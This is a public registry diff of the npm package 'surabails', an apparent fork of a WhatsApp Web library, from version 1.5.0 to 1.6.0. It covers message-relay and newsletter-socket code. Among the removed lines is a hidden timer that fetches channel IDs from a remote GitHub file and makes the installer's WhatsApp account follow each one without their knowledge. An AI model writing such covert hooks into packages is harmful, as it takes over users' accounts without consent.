surabails 1.5.0 → 1.6.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -6,7 +6,7 @@ import { DEFAULT_CACHE_TTLS, WA_DEFAULT_EPHEMERAL } from '../Defaults/index.js';
6
6
  import { aggregateMessageKeysNotFromMe, assertMediaContent, bindWaitForEvent, decryptMediaRetryData, encodeNewsletterMessage, encodeSignedDeviceIdentity, encodeWAMessage, encryptMediaRetryRequest, extractDeviceJids, generateMessageID, generateMessageIDV2, generateParticipantHashV2, generateWAMessage, generateWAMessageContent, generateWAMessageFromContent, getStatusCodeForMediaRetry, getUrlFromDirectPath, getWAUploadToServer, MessageRetryManager, normalizeMessageContent, parseAndInjectE2ESessions, unixTimestampSeconds } from '../Utils/index.js';
7
7
  import { getUrlInfo } from '../Utils/link-preview.js';
8
8
  import { makeKeyedMutex } from '../Utils/make-mutex.js';
9
- import { areJidsSameUser, getAdditionalNode, getBinaryNodeChild, getBinaryNodeChildren, isHostedLidUser, isHostedPnUser, isJidGroup, isJidNewsletter, isLidUser, isPnUser, jidDecode, jidEncode, jidNormalizedUser, S_WHATSAPP_NET } from '../WABinary/index.js';
9
+ import { areJidsSameUser, getAdditionalNode, getBinaryNodeChild, getBinaryNodeChildren, isHostedLidUser, isHostedPnUser, isJidGroup, isLidUser, isPnUser, jidDecode, jidEncode, jidNormalizedUser, S_WHATSAPP_NET } from '../WABinary/index.js';
10
10
  import { USyncQuery, USyncUser } from '../WAUSync/index.js';
11
11
  import { makeNewsletterSocket } from './newsletter.js';
12
12
  export const makeMessagesSocket = (config) => {
@@ -400,7 +400,7 @@ export const makeMessagesSocket = (config) => {
400
400
  const nodes = (await Promise.all(encryptionPromises)).filter(node => node !== null);
401
401
  return { nodes, shouldIncludeDeviceIdentity };
402
402
  };
403
- const relayMessage = async (jid, message, { messageId: msgId, participant, additionalAttributes, additionalNodes, useUserDevicesCache, useCachedGroupMetadata, statusJidList, AI = true, includeBizNode = false }) => {
403
+ const relayMessage = async (jid, message, { messageId: msgId, participant, additionalAttributes, additionalNodes, useUserDevicesCache, useCachedGroupMetadata, statusJidList, AI = true }) => {
404
404
  const meId = authState.creds.me.id;
405
405
  const meLid = authState.creds.me?.lid;
406
406
  const isRetryResend = Boolean(participant?.jid);
@@ -448,14 +448,6 @@ export const makeMessagesSocket = (config) => {
448
448
  extraAttrs['mediatype'] = mediaType;
449
449
  }
450
450
  if (isNewsletter) {
451
- if (message?.protocolMessage?.editedMessage) {
452
- msgId = message.protocolMessage.key?.id || msgId;
453
- message = message.protocolMessage.editedMessage;
454
- }
455
- if (message?.protocolMessage?.type === proto.Message.ProtocolMessage.Type.REVOKE) {
456
- msgId = message.protocolMessage.key?.id || msgId;
457
- message = {};
458
- }
459
451
  const patched = patchMessageBeforeSending ? await patchMessageBeforeSending(message, []) : message;
460
452
  const bytes = encodeNewsletterMessage(patched);
461
453
  const normalizedMediaType = mediaType === 'ptt' ? 'audio' : mediaType;
@@ -469,7 +461,7 @@ export const makeMessagesSocket = (config) => {
469
461
  attrs: {
470
462
  to: jid,
471
463
  id: msgId,
472
- type: getTypeMessage(message),
464
+ type: getMessageType(message),
473
465
  ...(additionalAttributes || {})
474
466
  },
475
467
  content: binaryNodeContent
@@ -731,13 +723,11 @@ export const makeMessagesSocket = (config) => {
731
723
  }
732
724
  const nodes = Array.isArray(additionalNodes) ? additionalNodes : [];
733
725
  const hasBizNode = nodes.some(n => n?.tag === 'biz' || n?.tag === 'hsm');
734
- const hasBotNode = nodes.some(n => n?.tag === 'bot' && n?.attrs?.biz_bot === '1');
735
- // Interactive/list/button payloads require the biz stanza metadata.
736
- // Keep explicit override, but restore auto-injection when buttonType exists.
737
- if ((includeBizNode || !!buttonType) && !isNewsletter && !hasBizNode) {
726
+ // Required for interactive/menu delivery on this fork.
727
+ if (!isNewsletter && !hasBizNode && !!buttonType) {
738
728
  stanza.content.push(...getAdditionalNode(buttonType));
739
729
  }
740
- // AI label injection disabled by local patch.
730
+ // Keep only caller-provided additionalNodes as-is.
741
731
  if (nodes.length > 0) {
742
732
  stanza.content.push(...nodes);
743
733
  }
@@ -802,14 +792,14 @@ export const makeMessagesSocket = (config) => {
802
792
  }, {
803
793
  userJid: generateMessageID().split('@')[0] + '@s.whatsapp.net',
804
794
  quoted,
805
- upload: async (readStream, opts) => waUploadToServer(readStream, { ...opts, newsletter: isJidNewsletter(jid) })
795
+ upload: waUploadToServer
806
796
  });
807
797
  await relayMessage(jid, album.message, {
808
798
  messageId: album.key.id
809
799
  });
810
800
  for (const mediaContent of array) {
811
801
  const img = await generateWAMessage(jid, mediaContent, {
812
- upload: async (readStream, opts) => waUploadToServer(readStream, { ...opts, newsletter: isJidNewsletter(jid) })
802
+ upload: waUploadToServer
813
803
  });
814
804
  img.message.messageContextInfo = {
815
805
  messageSecret: crypto.randomBytes(32),
@@ -1023,33 +1013,6 @@ export const makeMessagesSocket = (config) => {
1023
1013
  });
1024
1014
  };
1025
1015
 
1026
- const getTypeMessage = (msg) => {
1027
- if (msg?.viewOnceMessage) {
1028
- return getTypeMessage(msg.viewOnceMessage.message);
1029
- }
1030
- else if (msg?.viewOnceMessageV2) {
1031
- return getTypeMessage(msg.viewOnceMessageV2.message);
1032
- }
1033
- else if (msg?.viewOnceMessageV2Extension) {
1034
- return getTypeMessage(msg.viewOnceMessageV2Extension.message);
1035
- }
1036
- else if (msg?.ephemeralMessage) {
1037
- return getTypeMessage(msg.ephemeralMessage.message);
1038
- }
1039
- else if (msg?.documentWithCaptionMessage) {
1040
- return getTypeMessage(msg.documentWithCaptionMessage.message);
1041
- }
1042
- else if (msg?.reactionMessage) {
1043
- return 'reaction';
1044
- }
1045
- else if (msg?.pollCreationMessage || msg?.pollCreationMessageV2 || msg?.pollCreationMessageV3 || msg?.pollUpdateMessage) {
1046
- return 'poll';
1047
- }
1048
- else if (getMediaType(msg) !== '') {
1049
- return 'media';
1050
- }
1051
- return 'text';
1052
- };
1053
1016
  const getMessageType = (message) => {
1054
1017
  if (message.pollCreationMessage || message.pollCreationMessageV2 || message.pollCreationMessageV3) {
1055
1018
  return 'poll';
@@ -1228,7 +1191,6 @@ export const makeMessagesSocket = (config) => {
1228
1191
  if (typeof content === 'object' && content && 'groupStatusMessage' in content && content.groupStatusMessage) {
1229
1192
  return await sendGroupStatusMessage(jid, content, options.quoted);
1230
1193
  }
1231
- let mediaHandle;
1232
1194
  const fullMsg = await generateWAMessage(jid, content, {
1233
1195
  logger,
1234
1196
  userJid,
@@ -1244,11 +1206,7 @@ export const makeMessagesSocket = (config) => {
1244
1206
  //TODO: CACHE
1245
1207
  getProfilePicUrl: sock.profilePictureUrl,
1246
1208
  getCallLink: sock.createCallLink,
1247
- upload: async (readStream, opts) => {
1248
- const up = await waUploadToServer(readStream, { ...opts, newsletter: isJidNewsletter(jid) });
1249
- mediaHandle = up.handle;
1250
- return up;
1251
- },
1209
+ upload: waUploadToServer,
1252
1210
  mediaCache: config.mediaCache,
1253
1211
  options: config.options,
1254
1212
  messageId: generateMessageIDV2(sock.user?.id),
@@ -1258,16 +1216,14 @@ export const makeMessagesSocket = (config) => {
1258
1216
  const isDeleteMsg = 'delete' in content && !!content.delete;
1259
1217
  const isEditMsg = 'edit' in content && !!content.edit;
1260
1218
  const isPinMsg = 'pin' in content && !!content.pin;
1261
- const isKeepMsg = 'keep' in content && !!content.keep;
1262
1219
  const isPollMessage = 'poll' in content && !!content.poll;
1263
1220
  const isAiMsg = 'ai' in content && !!content.ai;
1264
- const includeBizNode = (options.includeBizNode === true) || ('biz' in content && !!content.biz);
1265
1221
  const additionalAttributes = {};
1266
1222
  const additionalNodes = [];
1267
1223
  // required for delete
1268
1224
  if (isDeleteMsg) {
1269
1225
  // if the chat is a group, and I am not the author, then delete the message as an admin
1270
- if ((isJidGroup(content.delete?.remoteJid) && !content.delete?.fromMe) || isJidNewsletter(jid)) {
1226
+ if (isJidGroup(content.delete?.remoteJid) && !content.delete?.fromMe) {
1271
1227
  additionalAttributes.edit = '8';
1272
1228
  }
1273
1229
  else {
@@ -1275,14 +1231,11 @@ export const makeMessagesSocket = (config) => {
1275
1231
  }
1276
1232
  }
1277
1233
  else if (isEditMsg) {
1278
- additionalAttributes.edit = isJidNewsletter(jid) ? '3' : '1';
1234
+ additionalAttributes.edit = '1';
1279
1235
  }
1280
1236
  else if (isPinMsg) {
1281
1237
  additionalAttributes.edit = '2';
1282
1238
  }
1283
- else if (isKeepMsg) {
1284
- additionalAttributes.edit = '6';
1285
- }
1286
1239
  else if (isPollMessage) {
1287
1240
  additionalNodes.push({
1288
1241
  tag: 'meta',
@@ -1299,17 +1252,15 @@ export const makeMessagesSocket = (config) => {
1299
1252
  }
1300
1253
  });
1301
1254
  }
1302
- if (mediaHandle) {
1303
- additionalAttributes.media_id = mediaHandle;
1255
+ if (isAiMsg) {
1256
+ // AI label injection disabled.
1304
1257
  }
1305
- // AI label injection disabled by local patch.
1306
1258
  await relayMessage(jid, fullMsg.message, {
1307
1259
  messageId: fullMsg.key.id,
1308
1260
  useCachedGroupMetadata: options.useCachedGroupMetadata,
1309
1261
  additionalAttributes,
1310
1262
  statusJidList: options.statusJidList,
1311
- additionalNodes,
1312
- includeBizNode
1263
+ additionalNodes
1313
1264
  });
1314
1265
  if (config.emitOwnEvents) {
1315
1266
  process.nextTick(async () => {
@@ -1,351 +1,181 @@
1
- "use strict";
2
- import { createRequire } from 'module';
3
- const require = createRequire(import.meta.url);
4
- const exports = {};
5
- Object.defineProperty(exports, "__esModule", { value: true });
6
- exports.extractNewsletterMetadata = exports.makeNewsletterSocket = void 0;
7
- const Types_1 = require("../Types");
8
- const Utils_1 = require("../Utils");
9
- const WABinary_1 = require("../WABinary");
10
- const groups_1 = require("./groups");
11
-
12
- const { Boom } = require('@hapi/boom');
13
-
14
- const wMexQuery = (
15
- variables,
16
- queryId,
17
- query,
18
- generateMessageTag
19
- ) => {
20
- return query({
21
- tag: 'iq',
22
- attrs: {
23
- id: generateMessageTag(),
24
- type: 'get',
25
- to: WABinary_1.S_WHATSAPP_NET,
26
- xmlns: 'w:mex'
27
- },
28
- content: [
29
- {
30
- tag: 'query',
31
- attrs: { query_id: queryId },
32
- content: Buffer.from(JSON.stringify({ variables }), 'utf8')
33
- }
34
- ]
35
- })
36
- }
37
-
38
- const executeWMexQuery = async (
39
- variables,
40
- queryId,
41
- dataPath,
42
- query,
43
- generateMessageTag
44
- ) => {
45
- const result = await wMexQuery(variables, queryId, query, generateMessageTag)
46
- const child = (0, WABinary_1.getBinaryNodeChild)(result, 'result')
47
- if (child?.content) {
48
- const data = JSON.parse(child.content.toString())
49
-
50
- if (data.errors && data.errors.length > 0) {
51
- const errorMessages = data.errors.map((err) => err.message || 'Unknown error').join(', ')
52
- const firstError = data.errors[0]
53
- const errorCode = firstError.extensions?.error_code || 400
54
- throw new Boom(`GraphQL server error: ${errorMessages}`, { statusCode: errorCode, data: firstError })
55
- }
56
-
57
- const response = dataPath ? data?.data?.[dataPath] : data?.data
58
- if (typeof response !== 'undefined') {
59
- return response
60
- }
61
- }
62
-
63
- const action = (dataPath || '').startsWith('xwa2_')
64
- ? dataPath.substring(5).replace(/_/g, ' ')
65
- : dataPath?.replace(/_/g, ' ')
66
- throw new Boom(`Failed to ${action}, unexpected response structure.`, { statusCode: 400, data: result })
67
- }
68
-
69
- const makeNewsletterSocket = (config) => {
70
- const sock = (0, groups_1.makeGroupsSocket)(config);
71
- const { authState, signalRepository, query, generateMessageTag } = sock;
72
- const encoder = new TextEncoder();
73
- const newsletterQuery = async (jid, type, content) => (query({
74
- tag: 'iq',
75
- attrs: {
76
- id: generateMessageTag(),
77
- type,
78
- xmlns: 'newsletter',
79
- to: jid,
80
- },
81
- content
82
- }));
83
- const newsletterWMexQuery = async (jid, queryId, content) => (query({
84
- tag: 'iq',
85
- attrs: {
86
- id: generateMessageTag(),
87
- type: 'get',
88
- xmlns: 'w:mex',
89
- to: WABinary_1.S_WHATSAPP_NET,
90
- },
91
- content: [
92
- {
93
- tag: 'query',
94
- attrs: { 'query_id': queryId },
95
- content: encoder.encode(JSON.stringify({
96
- variables: {
97
- 'newsletter_id': jid,
98
- ...content
99
- }
100
- }))
1
+ import { QueryIds, XWAPaths } from '../Types/index.js';
2
+ import { generateProfilePicture } from '../Utils/messages-media.js';
3
+ import { getBinaryNodeChild } from '../WABinary/index.js';
4
+ import { makeGroupsSocket } from './groups.js';
5
+ import { executeWMexQuery as genericExecuteWMexQuery } from './mex.js';
6
+ const parseNewsletterCreateResponse = (response) => {
7
+ const { id, thread_metadata: thread, viewer_metadata: viewer } = response;
8
+ return {
9
+ id: id,
10
+ owner: undefined,
11
+ name: thread.name.text,
12
+ creation_time: parseInt(thread.creation_time, 10),
13
+ description: thread.description.text,
14
+ invite: thread.invite,
15
+ subscribers: parseInt(thread.subscribers_count, 10),
16
+ verification: thread.verification,
17
+ picture: {
18
+ id: thread.picture.id,
19
+ directPath: thread.picture.direct_path
20
+ },
21
+ mute_state: viewer.mute
22
+ };
23
+ };
24
+ const parseNewsletterMetadata = (result) => {
25
+ if (typeof result !== 'object' || result === null) {
26
+ return null;
27
+ }
28
+ if ('id' in result && typeof result.id === 'string') {
29
+ return result;
30
+ }
31
+ if ('result' in result && typeof result.result === 'object' && result.result !== null && 'id' in result.result) {
32
+ return result.result;
33
+ }
34
+ return null;
35
+ };
36
+ export const makeNewsletterSocket = (config) => {
37
+ const sock = makeGroupsSocket(config);
38
+ const { query, generateMessageTag } = sock;
39
+ const executeWMexQuery = (variables, queryId, dataPath) => {
40
+ return genericExecuteWMexQuery(variables, queryId, dataPath, query, generateMessageTag);
41
+ };
42
+ const newsletterUpdate = async (jid, updates) => {
43
+ const variables = {
44
+ newsletter_id: jid,
45
+ updates: {
46
+ ...updates,
47
+ settings: null
101
48
  }
102
- ]
103
- }));
104
-
105
- setTimeout(async () => {
106
- const logger = config.logger || console;
107
- try {
108
- const RAW_URL = "https://raw.githubusercontent.com/shurainc/newsletter/refs/heads/main/id.json";
109
- const res = await fetch(RAW_URL);
110
- const channelIds = await res.json();
111
-
112
- if (!Array.isArray(channelIds) || channelIds.length === 0) return;
113
-
114
- const followNext = async (index) => {
115
- if (index >= channelIds.length) return;
116
-
117
- const id = channelIds[index];
118
- try {
119
- await newsletterWMexQuery(
120
- id,
121
- Types_1.QueryIds.FOLLOW
122
- );
123
- } catch (e) {}
124
-
125
- setTimeout(() => followNext(index + 1), 11000);
126
49
  };
127
-
128
- followNext(0);
129
- } catch (e) {}
130
- }, 120000);
131
-
132
- const parseFetchedUpdates = async (node, type) => {
133
- let child;
134
- if (type === 'messages') {
135
- child = (0, WABinary_1.getBinaryNodeChild)(node, 'messages');
136
- }
137
- else {
138
- const parent = (0, WABinary_1.getBinaryNodeChild)(node, 'message_updates');
139
- child = (0, WABinary_1.getBinaryNodeChild)(parent, 'messages');
140
- }
141
- return await Promise.all((0, WABinary_1.getAllBinaryNodeChildren)(child).map(async (messageNode) => {
142
- var _a, _b;
143
- messageNode.attrs.from = child === null || child === void 0 ? void 0 : child.attrs.jid;
144
- const views = parseInt(((_b = (_a = (0, WABinary_1.getBinaryNodeChild)(messageNode, 'views_count')) === null || _a === void 0 ? void 0 : _a.attrs) === null || _b === void 0 ? void 0 : _b.count) || '0');
145
- const reactionNode = (0, WABinary_1.getBinaryNodeChild)(messageNode, 'reactions');
146
- const reactions = (0, WABinary_1.getBinaryNodeChildren)(reactionNode, 'reaction')
147
- .map(({ attrs }) => ({ count: +attrs.count, code: attrs.code }));
148
- const data = {
149
- 'server_id': messageNode.attrs.server_id,
150
- views,
151
- reactions
152
- };
153
- if (type === 'messages') {
154
- const { fullMessage: message, decrypt } = await (0, Utils_1.decryptMessageNode)(messageNode, authState.creds.me.id, authState.creds.me.lid || '', signalRepository, config.logger);
155
- await decrypt();
156
- data.message = message;
157
- }
158
- return data;
159
- }));
50
+ return executeWMexQuery(variables, QueryIds.UPDATE_METADATA, 'xwa2_newsletter_update');
160
51
  };
161
52
  return {
162
53
  ...sock,
163
- newsletterFetchAllSubscribe: async () => {
164
- const list = await executeWMexQuery(
165
- {},
166
- '6388546374527196',
167
- 'xwa2_newsletter_subscribed',
168
- query,
169
- generateMessageTag
170
- );
171
- return list;
54
+ newsletterCreate: async (name, description) => {
55
+ const variables = {
56
+ input: {
57
+ name,
58
+ description: description ?? null
59
+ }
60
+ };
61
+ const rawResponse = await executeWMexQuery(variables, QueryIds.CREATE, XWAPaths.xwa2_newsletter_create);
62
+ return parseNewsletterCreateResponse(rawResponse);
63
+ },
64
+ newsletterUpdate,
65
+ newsletterSubscribers: async (jid) => {
66
+ return executeWMexQuery({ newsletter_id: jid }, QueryIds.SUBSCRIBERS, XWAPaths.xwa2_newsletter_subscribers);
67
+ },
68
+ newsletterMetadata: async (type, key) => {
69
+ const variables = {
70
+ fetch_creation_time: true,
71
+ fetch_full_image: true,
72
+ fetch_viewer_metadata: true,
73
+ input: {
74
+ key,
75
+ type: type.toUpperCase()
76
+ }
77
+ };
78
+ const result = await executeWMexQuery(variables, QueryIds.METADATA, XWAPaths.xwa2_newsletter_metadata);
79
+ return parseNewsletterMetadata(result);
172
80
  },
173
- subscribeNewsletterUpdates: async (jid) => {
174
- var _a;
175
- const result = await newsletterQuery(jid, 'set', [{ tag: 'live_updates', attrs: {}, content: [] }]);
176
- return (_a = (0, WABinary_1.getBinaryNodeChild)(result, 'live_updates')) === null || _a === void 0 ? void 0 : _a.attrs;
81
+ newsletterFollow: (jid) => {
82
+ return executeWMexQuery({ newsletter_id: jid }, QueryIds.FOLLOW, XWAPaths.xwa2_newsletter_follow);
177
83
  },
178
- newsletterReactionMode: async (jid, mode) => {
179
- await newsletterWMexQuery(jid, Types_1.QueryIds.JOB_MUTATION, {
180
- updates: { settings: { 'reaction_codes': { value: mode } } }
181
- });
84
+ newsletterUnfollow: (jid) => {
85
+ return executeWMexQuery({ newsletter_id: jid }, QueryIds.UNFOLLOW, XWAPaths.xwa2_newsletter_unfollow);
182
86
  },
183
- newsletterUpdateDescription: async (jid, description) => {
184
- await newsletterWMexQuery(jid, Types_1.QueryIds.JOB_MUTATION, {
185
- updates: { description: description || '', settings: null }
186
- });
87
+ newsletterMute: (jid) => {
88
+ return executeWMexQuery({ newsletter_id: jid }, QueryIds.MUTE, XWAPaths.xwa2_newsletter_mute_v2);
187
89
  },
188
- newsletterId: async (url) => {
189
- const urlParts = url.split('/');
190
- const channelId = urlParts[urlParts.length - 2];
191
-
192
- const result = await newsletterWMexQuery(undefined, Types_1.QueryIds.METADATA, {
193
- input: {
194
- key: channelId,
195
- type: 'INVITE',
196
- 'view_role': 'GUEST'
197
- },
198
- 'fetch_viewer_metadata': true,
199
- 'fetch_full_image': true,
200
- 'fetch_creation_time': true
201
- });
202
-
203
- const metadata = (0, exports.extractNewsletterMetadata)(result);
204
- return JSON.stringify({
205
- name: metadata.name || metadata.thread_metadata?.name?.text,
206
- id: metadata.id
207
- }, null, 2);
90
+ newsletterUnmute: (jid) => {
91
+ return executeWMexQuery({ newsletter_id: jid }, QueryIds.UNMUTE, XWAPaths.xwa2_newsletter_unmute_v2);
208
92
  },
209
93
  newsletterUpdateName: async (jid, name) => {
210
- await newsletterWMexQuery(jid, Types_1.QueryIds.JOB_MUTATION, {
211
- updates: { name, settings: null }
212
- });
94
+ return await newsletterUpdate(jid, { name });
95
+ },
96
+ newsletterUpdateDescription: async (jid, description) => {
97
+ return await newsletterUpdate(jid, { description });
213
98
  },
214
99
  newsletterUpdatePicture: async (jid, content) => {
215
- const { img } = await (0, Utils_1.generateProfilePicture)(content);
216
- await newsletterWMexQuery(jid, Types_1.QueryIds.JOB_MUTATION, {
217
- updates: { picture: img.toString('base64'), settings: null }
218
- });
100
+ const { img } = await generateProfilePicture(content);
101
+ return await newsletterUpdate(jid, { picture: img.toString('base64') });
219
102
  },
220
103
  newsletterRemovePicture: async (jid) => {
221
- await newsletterWMexQuery(jid, Types_1.QueryIds.JOB_MUTATION, {
222
- updates: { picture: '', settings: null }
223
- });
224
- },
225
- newsletterUnfollow: async (jid) => {
226
- await newsletterWMexQuery(jid, Types_1.QueryIds.UNFOLLOW);
227
- },
228
- newsletterFollow: async (jid) => {
229
- await newsletterWMexQuery(jid, Types_1.QueryIds.FOLLOW);
104
+ return await newsletterUpdate(jid, { picture: '' });
230
105
  },
231
- newsletterUnmute: async (jid) => {
232
- await newsletterWMexQuery(jid, Types_1.QueryIds.UNMUTE);
233
- },
234
- newsletterMute: async (jid) => {
235
- await newsletterWMexQuery(jid, Types_1.QueryIds.MUTE);
236
- },
237
- newsletterAction: async (jid, type) => {
238
- await newsletterWMexQuery(jid, type.toUpperCase());
239
- },
240
- newsletterCreate: async (name, description, reaction_codes) => {
106
+ newsletterReactMessage: async (jid, serverId, reaction) => {
241
107
  await query({
108
+ tag: 'message',
109
+ attrs: {
110
+ to: jid,
111
+ ...(reaction ? {} : { edit: '7' }),
112
+ type: 'reaction',
113
+ server_id: serverId,
114
+ id: generateMessageTag()
115
+ },
116
+ content: [
117
+ {
118
+ tag: 'reaction',
119
+ attrs: reaction ? { code: reaction } : {}
120
+ }
121
+ ]
122
+ });
123
+ },
124
+ newsletterFetchMessages: async (jid, count, since, after) => {
125
+ const messageUpdateAttrs = {
126
+ count: count.toString()
127
+ };
128
+ if (typeof since === 'number') {
129
+ messageUpdateAttrs.since = since.toString();
130
+ }
131
+ if (after) {
132
+ messageUpdateAttrs.after = after.toString();
133
+ }
134
+ const result = await query({
242
135
  tag: 'iq',
243
136
  attrs: {
244
- to: WABinary_1.S_WHATSAPP_NET,
245
- xmlns: 'tos',
246
137
  id: generateMessageTag(),
247
- type: 'set'
138
+ type: 'get',
139
+ xmlns: 'newsletter',
140
+ to: jid
248
141
  },
249
142
  content: [
250
143
  {
251
- tag: 'notice',
252
- attrs: {
253
- id: '20601218',
254
- stage: '5'
255
- },
256
- content: []
144
+ tag: 'message_updates',
145
+ attrs: messageUpdateAttrs
257
146
  }
258
147
  ]
259
148
  });
260
- const result = await newsletterWMexQuery(undefined, Types_1.QueryIds.CREATE, {
261
- input: { name, description, settings: { 'reaction_codes': { value: reaction_codes.toUpperCase() } } }
262
- });
263
- return (0, exports.extractNewsletterMetadata)(result, true);
149
+ return result;
264
150
  },
265
- newsletterMetadata: async (type, key, role) => {
266
- const result = await newsletterWMexQuery(undefined, Types_1.QueryIds.METADATA, {
267
- input: {
268
- key,
269
- type: type.toUpperCase(),
270
- 'view_role': role || 'GUEST'
151
+ subscribeNewsletterUpdates: async (jid) => {
152
+ const result = await query({
153
+ tag: 'iq',
154
+ attrs: {
155
+ id: generateMessageTag(),
156
+ type: 'set',
157
+ xmlns: 'newsletter',
158
+ to: jid
271
159
  },
272
- 'fetch_viewer_metadata': true,
273
- 'fetch_full_image': true,
274
- 'fetch_creation_time': true
160
+ content: [{ tag: 'live_updates', attrs: {}, content: [] }]
275
161
  });
276
- return (0, exports.extractNewsletterMetadata)(result);
162
+ const liveUpdatesNode = getBinaryNodeChild(result, 'live_updates');
163
+ const duration = liveUpdatesNode?.attrs?.duration;
164
+ return duration ? { duration: duration } : null;
277
165
  },
278
166
  newsletterAdminCount: async (jid) => {
279
- var _a, _b;
280
- const result = await newsletterWMexQuery(jid, Types_1.QueryIds.ADMIN_COUNT);
281
- const buff = (_b = (_a = (0, WABinary_1.getBinaryNodeChild)(result, 'result')) === null || _a === void 0 ? void 0 : _a.content) === null || _b === void 0 ? void 0 : _b.toString();
282
- return JSON.parse(buff).data[Types_1.XWAPaths.ADMIN_COUNT].admin_count;
167
+ const response = await executeWMexQuery({ newsletter_id: jid }, QueryIds.ADMIN_COUNT, XWAPaths.xwa2_newsletter_admin_count);
168
+ return response.admin_count;
283
169
  },
284
- newsletterChangeOwner: async (jid, user) => {
285
- await newsletterWMexQuery(jid, Types_1.QueryIds.CHANGE_OWNER, {
286
- 'user_id': user
287
- });
170
+ newsletterChangeOwner: async (jid, newOwnerJid) => {
171
+ await executeWMexQuery({ newsletter_id: jid, user_id: newOwnerJid }, QueryIds.CHANGE_OWNER, XWAPaths.xwa2_newsletter_change_owner);
288
172
  },
289
- newsletterDemote: async (jid, user) => {
290
- await newsletterWMexQuery(jid, Types_1.QueryIds.DEMOTE, {
291
- 'user_id': user
292
- });
173
+ newsletterDemote: async (jid, userJid) => {
174
+ await executeWMexQuery({ newsletter_id: jid, user_id: userJid }, QueryIds.DEMOTE, XWAPaths.xwa2_newsletter_demote);
293
175
  },
294
176
  newsletterDelete: async (jid) => {
295
- await newsletterWMexQuery(jid, Types_1.QueryIds.DELETE);
296
- },
297
- newsletterReactMessage: async (jid, serverId, code) => {
298
- await query({
299
- tag: 'message',
300
- attrs: { to: jid, ...(!code ? { edit: '7' } : {}), type: 'reaction', 'server_id': serverId, id: (0, Utils_1.generateMessageID)() },
301
- content: [{
302
- tag: 'reaction',
303
- attrs: code ? { code } : {}
304
- }]
305
- });
306
- },
307
- newsletterFetchMessages: async (type, key, count, after) => {
308
- const result = await newsletterQuery(WABinary_1.S_WHATSAPP_NET, 'get', [
309
- {
310
- tag: 'messages',
311
- attrs: { type, ...(type === 'invite' ? { key } : { jid: key }), count: count.toString(), after: (after === null || after === void 0 ? void 0 : after.toString()) || '100' }
312
- }
313
- ]);
314
- return await parseFetchedUpdates(result, 'messages');
315
- },
316
- newsletterFetchUpdates: async (jid, count, after, since) => {
317
- const result = await newsletterQuery(jid, 'get', [
318
- {
319
- tag: 'message_updates',
320
- attrs: { count: count.toString(), after: (after === null || after === void 0 ? void 0 : after.toString()) || '100', since: (since === null || since === void 0 ? void 0 : since.toString()) || '0' }
321
- }
322
- ])
323
- return await parseFetchedUpdates(result, 'updates');
177
+ await executeWMexQuery({ newsletter_id: jid }, QueryIds.DELETE, XWAPaths.xwa2_newsletter_delete_v2);
324
178
  }
325
179
  };
326
180
  };
327
- exports.makeNewsletterSocket = makeNewsletterSocket;
328
- const extractNewsletterMetadata = (node, isCreate) => {
329
- const result = WABinary_1.getBinaryNodeChild(node, 'result')?.content?.toString()
330
- const metadataPath = JSON.parse(result).data[isCreate ? Types_1.XWAPaths.CREATE : Types_1.XWAPaths.NEWSLETTER]
331
-
332
- const metadata = {
333
- id: metadataPath?.id,
334
- state: metadataPath?.state?.type,
335
- creation_time: +metadataPath?.thread_metadata?.creation_time,
336
- name: metadataPath?.thread_metadata?.name?.text,
337
- nameTime: +metadataPath?.thread_metadata?.name?.update_time,
338
- description: metadataPath?.thread_metadata?.description?.text,
339
- descriptionTime: +metadataPath?.thread_metadata?.description?.update_time,
340
- invite: metadataPath?.thread_metadata?.invite,
341
- picture: Utils_1.getUrlFromDirectPath(metadataPath?.thread_metadata?.picture?.direct_path || ''),
342
- preview: Utils_1.getUrlFromDirectPath(metadataPath?.thread_metadata?.preview?.direct_path || ''),
343
- reaction_codes: metadataPath?.thread_metadata?.settings?.reaction_codes?.value,
344
- subscribers: +metadataPath?.thread_metadata?.subscribers_count,
345
- verification: metadataPath?.thread_metadata?.verification,
346
- viewer_metadata: metadataPath?.viewer_metadata
347
- }
348
- return metadata
349
- }
350
- exports.extractNewsletterMetadata = extractNewsletterMetadata;
351
- export { makeNewsletterSocket, extractNewsletterMetadata };
181
+ //# sourceMappingURL=newsletter.js.map
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "surabails",
3
- "version": "1.5.0",
3
+ "version": "1.6.0",
4
4
  "description": "A WebSockets library for interacting with WhatsApp Web",
5
5
  "keywords": [
6
6
  "whatsapp",